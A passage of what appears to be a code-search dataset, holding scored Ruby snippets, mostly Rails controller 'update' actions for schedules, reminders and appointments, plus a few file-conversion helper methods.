"text": "def update\n respond_to do |format|\n if @reminder.update(reminder_params)\n format.html { redirect_to @reminder, notice: 'Reminder was successfully updated.' }\n format.json { render :show, status: :ok, location: @reminder }\n else\n format.html { render :edit }\n format.json { render json: @reminder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19b8ca1a4647c59fbceb0b6e49b664ae",
"score": "0.6768471",
"text": "def update\n respond_to do |format|\n if @interview_schedule.update(interview_schedule_params)\n #InterviewScheduleMailer.sample_email(@interview_schedule).deliver_now\n format.html { redirect_to @interview_schedule, notice: 'Interview schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @interview_schedule }\n else\n format.html { render :edit }\n format.json { render json: @interview_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "86c73017bf98322a1df2a144f3c4d52f",
"score": "0.6762661",
"text": "def update\n respond_to do |format|\n if @create_reminder.update(create_reminder_params)\n format.html { redirect_to @create_reminder, notice: 'Create reminder was successfully updated.' }\n format.json { render :show, status: :ok, location: @create_reminder }\n else\n format.html { render :edit }\n format.json { render json: @create_reminder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51ba60bc413082f7bbd75d93581cd31d",
"score": "0.67569345",
"text": "def update\n respond_to do |format|\n if @recurring_schedule.update(recurring_schedule_params)\n format.html { redirect_to @recurring_schedule, notice: 'Recurring schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @recurring_schedule }\n else\n format.html { render :edit }\n format.json { render json: @recurring_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2549e1f9173d1958222b06123de7764f",
"score": "0.67543656",
"text": "def update\n @reminder = Reminder.find(params[:id])\n\n respond_to do |format|\n if @reminder.update_attributes(params[:reminder])\n format.html { redirect_to reminders_path , notice: 'Reminder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reminder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5a2acc86169828bc88e68b8a9f90fd76",
"score": "0.67369884",
"text": "def update\n @resource_schedule = ResourceSchedule.find(params[:id])\n\n respond_to do |format|\n if @resource_schedule.update_attributes(params[:resource_schedule])\n format.html { redirect_to @resource_schedule, notice: 'Resource schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resource_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f37423fe3245e2542b7e46d60dec41a4",
"score": "0.6729563",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to dashboard_path, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b72d7ab6af3299ae1b9811d44725a559",
"score": "0.6729081",
"text": "def update\n respond_to do |format|\n if @event_reminder.update(event_reminder_params)\n format.html { redirect_to @event_reminder, notice: 'Event reminder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event_reminder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6721b033f1333dee25d7c0f0a04fe443",
"score": "0.67122525",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to fandom_schedules_path(@schedule.fandom), notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bf323d69e27e5f08b83e01ee167ba290",
"score": "0.6708065",
"text": "def put(_calendar_data)\n fail Dav::Exception::MethodNotAllowed, 'Updating scheduling objects is not supported'\n end",
"title": ""
},
{
"docid": "4122318df3f3af0e00d8a1e3bbe12602",
"score": "0.66897416",
"text": "def update\n respond_to do |format|\n if @time_schedule.update(time_schedule_params)\n format.html { redirect_to @time_schedule, notice: 'Time schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @time_schedule }\n else\n format.html { render :edit }\n format.json { render json: @time_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b9961d826750f475590d194879ecdb92",
"score": "0.6684791",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to new_schedule_path, notice: 'スケジュールが更新されました。' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b5096e1d5b9eebf27150f6bed6701cc0",
"score": "0.6671534",
"text": "def update\n @reminder = Reminder.find(params[:id])\n if (@reminder.remindable_type == \"User\" && @reminder.remindable == @current_user) ||\n (@reminder.remindable_type == \"Task\" && @reminder.remindable == Task.find(params[:task_id]))\n @reminder.update(reminder_params)\n render json: @reminder\n else\n render json: { error: \"No such reminder for user\" }, status: :unauthorized\n end\n end",
"title": ""
},
{
"docid": "c54521a4f200e070a864df282f534c4a",
"score": "0.66696805",
"text": "def update\n @rescheduling = Rescheduling.find(params[:id])\n\n respond_to do |format|\n if @rescheduling.update_attributes(params[:rescheduling])\n format.html { redirect_to @rescheduling, notice: 'Rescheduling was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rescheduling.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3c3a7eac88a7b0e39a4723c0dfe28339",
"score": "0.6650594",
"text": "def update\n @checkin_schedule = current_user.checkin_schedules.where(id: params[:id]).first\n\n respond_to do |format|\n if @checkin_schedule.update_attributes(params[:checkin_schedule])\n format.html { redirect_to dashboard_checkin_schedules_path, notice: 'Program başarıyla güncellendi.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @checkin_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c633944901f22668df677e1d0f605588",
"score": "0.6634394",
"text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to schedule_plan_schedule_path(@schedule.schedule_plan.id, @schedule.id), notice: 'Schedule was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cc4f5bfc790c86c73d35c96efa2f8bea",
"score": "0.6633441",
"text": "def update\n @reminder = Reminder.find(params[:id])\n success = @reminder.update(reminder_params)\n if success\n respond_to do |format|\n format.html { redirect_to reminder_url(@reminder), notice: 'Reminder was successully updated.'}\n end\n else\n respond_to do |format|\n format.html { render action: 'edit', notice: @reminder.errors }\n format.json { render json: @reminder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7e8978dcfe01b2068ecdc1987ceca806",
"score": "0.6632917",
"text": "def update\n respond_to do |format|\n if @detail_schedule.update(detail_schedule_params)\n format.html { redirect_to @detail_schedule, notice: 'Detail schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @detail_schedule }\n else\n format.html { render :edit }\n format.json { render json: @detail_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e49718616390b4e0f288bf61f6ee4169",
"score": "0.6614816",
"text": "def update\n\n add_breadcrumb @schedule, maintenance_schedule_path(@schedule)\n add_breadcrumb \"Update\"\n\n respond_to do |format|\n if @schedule.update(form_params)\n notify_user(:notice, \"The Maintenance Program was successfully updated.\")\n format.html { redirect_to maintenance_schedule_url(@schedule) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3715cace93464515f6d43870b52eab2a",
"score": "0.6604849",
"text": "def update\n @reminder_task = ReminderTask.find(params[:id])\n\n respond_to do |format|\n if @reminder_task.update_attributes(params[:reminder_task])\n format.html { redirect_to(@reminder_task, :notice => 'Reminder task was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @reminder_task.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b385fc79986ce2433fbaf74198e372f4",
"score": "0.6585156",
"text": "def update\n @schedule = Schedule.find(params[:id])\n end",
"title": ""
},
{
"docid": "7c0ebc68ca0dca2c3446bb0c472c9efa",
"score": "0.65814596",
"text": "def edit_schedule\n @patient = Patient.find(params[:patient_id])\n @treatment = @patient.treatment\n @schedule = @patient.treatment.schedules.find(params[:schedule_id])\n @schedule.update if @schedule.nil?\n end",
"title": ""
},
{
"docid": "ddd6255799c9d234c0ee8eed019cf97c",
"score": "0.6571843",
"text": "def update\n respond_to do |format|\n if @reminder.update(reminder_params)\n format.html { redirect_to contact_reminder_path(@contact, @reminder), notice: 'Reminder was successfully updated.' }\n format.json { render :show, status: :ok, location: contact_reminder_path(@contact, @reminder) }\n else\n format.html { render :edit }\n format.json { render json: @reminder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a8a388550abab0d68da13f075e340cf7",
"score": "0.6559707",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to [:specialists, @schedule], notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: [:specialists, @schedule] }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "612e5e561d8f5089e1893579c32e585c",
"score": "0.65587616",
"text": "def update\n\n\t\tparams = schedule_params\n\t\tschdate = Date.strptime(schedule_params['schedule_date'], '%m/%d/%Y') #.strftime(\"%Y-%d-%m\")\n\t\tsongids = JSON.parse(params['song_order'])\n\t\t#params.delete('song_ids')\n\t\tparams['schedule_date'] = schdate\n\t\tparams['song_order'] = songids\n\n# \t\tlogger.debug \"\\n\\n\\n\\n\\n\\n\\nSCHEDULE DATE IS: #{schdate}\\n\\n\\n\\n\\n\\n\\n\"\n\n\t\trespond_to do |format|\n\t\t\tif @schedule.update(params)\n\n\t\t\t\t@schedule.songs = Song.find(songids)\n\n\t\t\t\tformat.html { redirect_to schedules_url, notice: 'Schedule was successfully updated!' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @schedule }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @schedule.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "e74241a6df512bb0f50a827b56c0acec",
"score": "0.6551207",
"text": "def update\n respond_to do |format|\n if @collection_schedule.update(collection_schedule_params)\n format.html { redirect_to @collection_schedule, notice: 'Collection schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @collection_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cd730ba099b400ba538ad59531e466cd",
"score": "0.65263927",
"text": "def update\n respond_to do |format|\n if @scheduled.update(scheduled_params)\n format.html { redirect_to @scheduled, notice: 'Scheduled was successfully updated.' }\n format.json { render :show, status: :ok, location: @scheduled }\n else\n format.html { render :edit }\n format.json { render json: @scheduled.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0a373ffc378c5b9d9756ddc16f728c7d",
"score": "0.6525651",
"text": "def update\n @appointment = Appointment.where(:id => params[:id], :company_id => current_user.company.id).first\n set_appointment_dates\n @available_time_slots = get_available_time_slots\n params[:appointment].delete(:starts_at)\n\n respond_to do |format|\n if @appointment.update_attributes(params[:appointment])\n flash[:notice] = I18n.t(:successfully_updated, :model_name => Appointment.model_name.human)\n format.html {\n redirect_to action: 'index'\n }\n format.json {\n render :json => {\n :calendar_partial => render_to_string(\n 'appointments/_calendar',\n :formats => [:html],\n :layout => false,\n :locals => {\n :appointments => Appointment.where(:company_id => current_user.company.id).load,\n :date => Date.today\n }\n ),\n status: :created,\n location: @appointment\n }\n }\n else\n @appointment.errors.each do |name, error|\n flash[name] = error\n end\n\n format.html { render action: \"edit\" }\n format.json { render json: @appointment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3b0420c0fb051a1a5e42fb55972f61cd",
"score": "0.65106565",
"text": "def update\n @office_cleanings_schedule = OfficeCleaningsSchedule.find(params[:id])\n\n respond_to do |format|\n if @office_cleanings_schedule.update_attributes(office_cleanings_schedule_params)\n format.html { redirect_to office_cleanings_schedules_path, notice: 'Office cleanings schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @office_cleanings_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b9359a07890cdfb5843103ac1702c288",
"score": "0.65000284",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Agendamento atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "384e91a8753dfac3bc3d2a85afc3e01e",
"score": "0.64963317",
"text": "def update\n @appointment_sheduling = AppointmentSheduling.find(params[:id])\n\n respond_to do |format|\n if @appointment_sheduling.update_attributes(params[:appointment_sheduling])\n format.html { redirect_to(@appointment_sheduling, :notice => 'AppointmentSheduling was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @appointment_sheduling.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2a15c17abc50055e7e27849c94e17ac7",
"score": "0.6494791",
"text": "def update\n @schedules_event = SchedulesEvent.find(params[:id])\n\n respond_to do |format|\n if @schedules_event.update_attributes(params[:schedules_event])\n format.html { redirect_to @schedules_event, notice: 'Schedules event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedules_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "90721811be667fb46ac5aa39c2941f9e",
"score": "0.64876765",
"text": "def update\n respond_to do |format|\n if @working_schedule.update(working_schedule_params)\n format.html { redirect_to @working_schedule, notice: 'Working schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @working_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "910cb6a0273f32e70fface725b5c5edd",
"score": "0.6486117",
"text": "def update\n respond_to do |format|\n if @scheduling.update(scheduling_params)\n format.html { redirect_to schedulings_path, notice: 'Scheduling was successfully updated.' }\n format.json { render :show, status: :ok, location: @scheduling }\n else\n format.html { render :edit }\n format.json { render json: @scheduling.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "953100519c41ce68ef235dfb2bc7f3fb",
"score": "0.6482803",
"text": "def update\n @content_schedule = ContentSchedule.find(params[:id])\n\n respond_to do |format|\n if @content_schedule.update_attributes(params[:content_schedule])\n format.html { redirect_to content_schedules_path, notice: 'Content schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @content_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e1c9cb60f1b6621dc22450f24032c49a",
"score": "0.6474836",
"text": "def update\n old_schedule = @schedule.dup\n @schedule.attributes = safe_schedule_params\n\n # If schedule post is from a non original schedule(this has effect on recurrent schedules), dont permit date change, only time. For date change must update the original event.\n if params.require(:schedule).include?(:original_schedule)\n if params.require(:schedule).fetch(:original_schedule).empty?\n original_schedule = 1\n else\n original_schedule = params.require(:schedule).fetch(:original_schedule).to_i\n end\n end\n if original_schedule == 0\n @schedule.start_datetime = @schedule.start_datetime.change(year: old_schedule.start_datetime.year, month: old_schedule.start_datetime.month, day: old_schedule.start_datetime.day)\n @schedule.end_datetime = @schedule.end_datetime.change(year: old_schedule.end_datetime.year, month: old_schedule.end_datetime.month, day: old_schedule.end_datetime.day)\n end\n\n # maybe add this to model validations\n if (@schedule.end_datetime <= @schedule.start_datetime)\n @schedule.errors[:end_datetime] << 'Must be bigger than start datetime'\n respond_to do |format|\n format.html {set_schedule_recurrent_unit_list(); render :edit}\n format.json {render json: { messages: @schedule.errors.full_messages, result: :error }}\n end and return\n end\n\n if !params.include?(:schedule_events)\n @schedule.errors[:base] << 'At least one event must exists'\n respond_to do |format|\n format.html {set_schedule_recurrent_unit_list(); render :edit}\n format.json {render json: { messages: @schedule.errors.full_messages, result: :error }}\n end and return\n end\n\n stored_schedule_events_ids = @schedule.schedule_events.ids\n\n posted_schedule_events_ids = []\n schedule_events_post = params[:schedule_events]\n errors_exists = false\n schedule_events_post.each do |key, schedule_event|\n if schedule_event[:id].empty?\n current_schedule_event = @schedule.schedule_events.build(safe_schedule_event_params(schedule_event))\n if !schedule_event.include?(:actions)\n errors_exists = true\n @schedule.errors.add(:schedule_events, 'At least one action must exists')\n current_schedule_event.errors.add(:base, 'At least one action must exists')\n else\n schedule_event[:actions].each do |key, action|\n current_schedule_event.actions.build(safe_schedule_action_params(action))\n end\n end\n else\n posted_schedule_events_ids << schedule_event[:id].to_i\n end\n end\n\n if errors_exists\n respond_to do |format|\n format.html {set_schedule_recurrent_unit_list(); render :edit}\n format.json {render json: { messages: @schedule.errors.full_messages, result: :error }}\n end and return\n end\n\n schedule_events_ids_to_delete = stored_schedule_events_ids - posted_schedule_events_ids\n\n # Update the existing objects\n errors_exists = false\n if !posted_schedule_events_ids.empty? # This mean, that someone made an update request, where there are some stored schedule events on it\n @schedule.schedule_events.each do |stored_schedule_event|\n schedule_events_post.each do |key, posted_shcedule_event|\n if !stored_schedule_event[:id].nil? && (stored_schedule_event[:id].to_i == posted_shcedule_event[:id].to_i)\n # stored_schedule_event.attributes = safe_schedule_event_params(posted_shcedule_event)\n if !posted_shcedule_event.include?(:actions)\n errors_exists = true\n @schedule.errors.add(:schedule_events, 'At least one action must exists')\n stored_schedule_event.errors.add(:base, 'At least one action must exists')\n else\n stored_schedule_event.actions.each do |stored_action|\n posted_shcedule_event[:actions].each do |key, posted_action|\n if stored_action[:id].to_i == posted_action[:id].to_i\n stored_action.attributes = safe_schedule_action_params(posted_action)\n end\n end\n end\n end\n end\n end\n end\n end\n\n if errors_exists\n respond_to do |format|\n format.html {set_schedule_recurrent_unit_list(); render :edit}\n format.json {render json: { messages: @schedule.errors.full_messages, result: :error }}\n end and return\n end\n\n overlapping_schedules = check_schedule_overlaps(@schedule)\n if @schedule.errors.any?\n respond_to do |format|\n format.json {render json: { messages: @schedule.errors.full_messages, overlaps: overlapping_schedules, result: :error }}\n end and return\n end\n\n begin\n @schedule.transaction do\n # First delete the deleted ones\n if schedule_events_ids_to_delete\n schedule_events_ids_to_delete.each do |se_id|\n schedule_event = ScheduleEvent.find(se_id)\n action_ids = schedule_event.actions.ids\n schedule_event.destroy\n Action.destroy(action_ids)\n end\n end\n respond_to do |format|\n if @schedule.save # this will also save the schedule and event actions\n format.html {redirect_to @schedule, notice: 'Schedule was successfully created.'}\n format.json {\n full_schedule = render_to_string partial: 'schedules/schedule', locals: { schedule: @schedule }\n render json: { data: JSON::parse(full_schedule), result: :ok }\n }\n\n mqtt_client = MQTT::Client.new()\n mqtt_client.host = Rails.application.secrets.mqtt[:host]\n mqtt_client.port = Rails.application.secrets.mqtt[:port]\n mqtt_client.connect()\n\n @schedule.schedule_events.each do |schedule_event|\n send_new_schedule_table_to_device(schedule_event.device, mqtt_client)\n end\n\n mqtt_client.disconnect()\n\n else\n format.html {set_schedule_recurrent_unit_list(); render :edit}\n format.json {render json: { messages: @schedule.errors.full_messages, result: :error }}\n end\n end\n end\n rescue Exception => e\n if Rails.env.development?\n @schedule.errors.add(:base, e.to_s)\n else\n @schedule.errors.add(:base, 'Please contact with admin')\n end\n respond_to do |format|\n format.html {set_schedule_recurrent_unit_list(); render :edit}\n format.json {render json: { messages: @schedule.errors.full_messages, result: :error }}\n end\n end\n\n end",
"title": ""
},
{
"docid": "aae0e55cd1dd99e9024eb386b9224f10",
"score": "0.6472342",
"text": "def update\n date = appointment_params[\"date\"]\n time = appointment_params[\"time\"]\n schedule_datetime = Time.parse(date + \" \" + time)\n\n # cannot select a date and time in the past\n if Time.now > schedule_datetime\n message = { \"message\": \"cannot create appointment #{date} #{time}, because it is in the past\"}\n return json_response(message.to_json)\n end\n\n @appointment.update(schedule_datetime: schedule_datetime, date: date, time: time)\n head :no_content\n end",
"title": ""
},
{
"docid": "e801f4a42816bd52847b965e82ab0ea0",
"score": "0.64678866",
"text": "def update\n respond_to do |format|\n if @exam_schedule.update(exam_schedule_params)\n format.html { redirect_to @exam_schedule, notice: 'Exam schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @exam_schedule }\n else\n format.html { render :edit }\n format.json { render json: @exam_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "39c38a858d6c2c46b41efd884d676a52",
"score": "0.6461238",
"text": "def update\n respond_to do |format|\n if @nfi_schedule.update(nfi_schedule_params)\n format.html { redirect_to @nfi_schedule, notice: 'Nfi schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @nfi_schedule }\n else\n format.html { render :edit }\n format.json { render json: @nfi_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "81b2154722ae5f9eda346cb52a3d4f30",
"score": "0.6460991",
"text": "def update\n @reminder = Reminder.find(params[:id])\n\n respond_to do |format|\n if @reminder.update_attributes(params[:reminder])\n format.html { redirect_to(@reminder, :notice => 'Reminder was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @reminder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "81b2154722ae5f9eda346cb52a3d4f30",
"score": "0.6460991",
"text": "def update\n @reminder = Reminder.find(params[:id])\n\n respond_to do |format|\n if @reminder.update_attributes(params[:reminder])\n format.html { redirect_to(@reminder, :notice => 'Reminder was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @reminder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e21cfbcf047d9af0f4880ede92797673",
"score": "0.6442018",
"text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to(@schedule, :notice => 'Schedule was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @schedule.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e21cfbcf047d9af0f4880ede92797673",
"score": "0.6442018",
"text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to(@schedule, :notice => 'Schedule was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @schedule.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5581c6ac85391a19330090bbe0bd0558",
"score": "0.6439875",
"text": "def update\n @simple_schedule = SimpleSchedule.find(params[:id])\n\n respond_to do |format|\n if @simple_schedule.update_attributes(params[:simple_schedule])\n format.html { redirect_to(@simple_schedule, :notice => 'Simple schedule was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @simple_schedule.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "10356f2b05e9116e4957f152f1839a0d",
"score": "0.6438464",
"text": "def update\n respond_to do |format|\n if @job_schedule.update(job_schedule_params)\n format.html { redirect_to @job_schedule, notice: 'Job schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_schedule }\n else\n format.html { render :edit }\n format.json { render json: @job_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
fa401590ef93b815195b80c0b87241e3
|
Arguments: input_path path to a directory containing Blocks.txt and UnicodeData.txt output_path output directory for imported YAML files
|
[
{
"docid": "6cbfe39e297c3cd7a83894ab8c891095",
"score": "0.0",
"text": "def initialize(input_path, output_path)\n @input_path = input_path\n @output_path = output_path\n end",
"title": ""
}
] |
[
{
"docid": "46311eae122420f58e0f51d7f330b786",
"score": "0.5918719",
"text": "def input_filename\n directory = File.dirname(Save.save_filename)\n Dir.mkdir!(directory) unless Dir.exist?(directory)\n File.join(directory, 'input.yml')\n end",
"title": ""
},
{
"docid": "67eb8fbcf099483baf3df23486bf6108",
"score": "0.5753092",
"text": "def transform(input_path, output_dir, output_filename_format)\n end",
"title": ""
},
{
"docid": "535f877fd4127efae52e7aef072557fd",
"score": "0.5652333",
"text": "def _input(path)\n puts \"Load: #{path}\"\n case @infile_ext\n when DEFINED_FILE_EXT[0] then JSON.parse(File.read(path))\n when DEFINED_FILE_EXT[1] then YAML.load_file(path)\n when DEFINED_FILE_EXT[2] then YAML.load_file(path)\n else raise ArgumentError, 'Undefined input file type'\n end\n end",
"title": ""
},
{
"docid": "6e41f03b2d7b73a4a38841a7fba0806f",
"score": "0.5651837",
"text": "def preprocess\n Dir.glob(\"templates/*\").each do |template_dir|\n dir_name = File.basename template_dir\n FileUtils.mkdir \"output/#{dir_name}\"\n Dir.glob(\"#{template_dir}/*\").each do |file|\n if file =~ /\\.haml$/\n `haml #{file} output/#{dir_name}/#{File.basename(file).sub(/\\.haml$/, \".html\")}`\n elsif file =~ /\\.sass$/\n `sass #{file} output/#{dir_name}/#{File.basename(file).sub(/\\.sass$/, \".css\")}`\n elsif file =~ /\\.coffee$/\n `coffee -o output/#{dir_name} --no-wrap #{file}`\n else\n FileUtils.cp_r file, \"output/#{dir_name}\"\n end\n end\n end\n end",
"title": ""
},
{
"docid": "3c002b0381e3cc6625d127fb9e32368a",
"score": "0.55994296",
"text": "def generate_root_file(input_file_path, dictionary_type = :root)\n output_file_path = \"#{input_file_path}.#{dictionary_type}\"\n\n File.open(input_file_path, 'r') do |input_file|\n File.open(output_file_path, 'w') do |output_file|\n input_file.each_line do |line|\n line = line.strip\n next if line.empty?\n\n root = process(line, dictionary_type)\n output_file.write(\"#{root}\\n\") unless root.nil?\n end\n end\n end\n rescue\n FileUtils.mv(output_file_path, \"#{output_file_path}.crashed\")\n raise\n end",
"title": ""
},
{
"docid": "995771708c131ae754a420294d59e280",
"score": "0.556673",
"text": "def create_sf_files(in_path, out_path)\n puts \"--- Creating set of fpb files from #{in_path} in #{out_path}\"\n FileUtils.mkdir_p(out_path) unless File.exists? out_path\n batch_path = File.join(out_path, 'batch.yaml')\n\n unless $options[:mux_only]\n # create the fpbs\n batch_map = create_data_files(in_path, out_path)\n\n # save the batch map\n File.open(batch_path, 'w') {|f| f.write(batch_map.to_yaml)}\n end\n\n # load the batch map from the file\n if !File.exist?(batch_path)\n puts \"#{batch_path} doesn't exist\"\n exit(1)\n end\n batch_map = YAML.load_file(batch_path)\n\n # create the mux files\n mux_path = File.join(out_path, 'mux')\n FileUtils.mkdir_p(mux_path) unless File.exists? mux_path\n [1, 2, 4, 8, 16, 32, 64].each do |num_switches|\n create_order_files(mux_path, batch_map, num_switches)\n end\nend",
"title": ""
},
{
"docid": "37532091d4ab22bc9e0352e01c26d16a",
"score": "0.55316293",
"text": "def create_data_files(in_path, out_path)\n num_batches = {}\n $tables.each_key { |t| num_batches[t] = {} }\n\n prog_path = File.join($k3_root_path, \"__build\", \"A\")\n\n # Loop over all tables\n $tables.each_key do |table|\n puts \"Converting table #{table}...\"\n\n out_table_path = File.join(out_path, table.to_s)\n FileUtils.mkdir_p(out_table_path) unless Dir.exists?(out_table_path)\n\n # create yaml\n yaml = make_yaml\n yaml['batch_sz'] = $options[:batch_size]\n yaml['role'] = [{'i' => \"go_#{table}\"}]\n yaml['files'] = []\n\n # We operate per file, getting its batch numbers\n if table == :sentinel\n File.open('temp.yaml', 'w') { |f| f.puts(yaml.to_yaml) }\n `#{prog_path} -p temp.yaml | tee temp.out`\n FileUtils.mv('psentinel.out', File.join(out_table_path, 'sentinel.out'))\n puts \"1 batch\"\n else\n # loop over every data file\n p = [in_path] + ($options[:recurse] ? ['**'] : []) + [\"#{table}*\"]\n Dir.glob(File.join(*p)).sort.each do |file|\n # check that it's a file\n next if File.directory?(file)\n basename = File.basename(file)\n # check against regex\n next unless basename =~ /#{$options[:regex]}/\n\n file_num = basename[/\\D*(\\d+)/, 1]\n\n yaml['files'] = [file].map { |s| {'path' => s} }\n File.open('temp.yaml', 'w') { |f| f.puts(yaml.to_yaml) }\n `#{prog_path} -p temp.yaml | tee temp.out`\n FileUtils.mv(\"p#{table}.out\", File.join(out_table_path, \"#{table}#{file_num}\"))\n\n # get & save number of batches\n str = File.open(\"temp.out\", 'r').read()\n v = str[/^Saved: (\\d+) batches.$/m, 1].to_i\n puts \"File #{basename}: #{v} batch#{v == 1 ? '' : 'es'}\"\n num_batches[table][file_num.to_i] = v\n end\n end\n end\n num_batches\nend",
"title": ""
},
{
"docid": "1704d48b35515135f497ed983c6e3afe",
"score": "0.55224496",
